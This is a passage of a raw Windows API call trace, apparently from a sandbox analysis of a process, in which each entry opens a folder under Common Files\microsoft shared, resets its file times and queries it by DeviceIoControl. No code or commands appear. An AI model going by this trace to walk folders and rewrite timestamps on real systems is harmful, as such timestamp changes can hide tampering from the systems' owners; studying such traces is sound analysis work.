nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.986] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.986] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.987] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.987] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.989] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.989] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.990] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.990] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.990] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.990] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.993] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.993] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.994] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.994] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0252.996] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.996] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.997] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.997] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.997] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.997] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0252.997] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0252.998] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0252.999] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.999] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.001] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.001] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.002] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.002] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.002] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.002] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.003] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.003] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.004] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.004] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.004] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.004] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.007] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.007] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.010] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.010] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wksconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.011] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.011] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.011] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.011] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.012] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.012] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.013] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.013] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.013] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.014] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.015] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.015] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.016] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.016] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.016] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.016] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.017] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.017] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.019] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.019] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.021] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.021] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.024] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.024] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.024] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.024] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.026] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.026] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 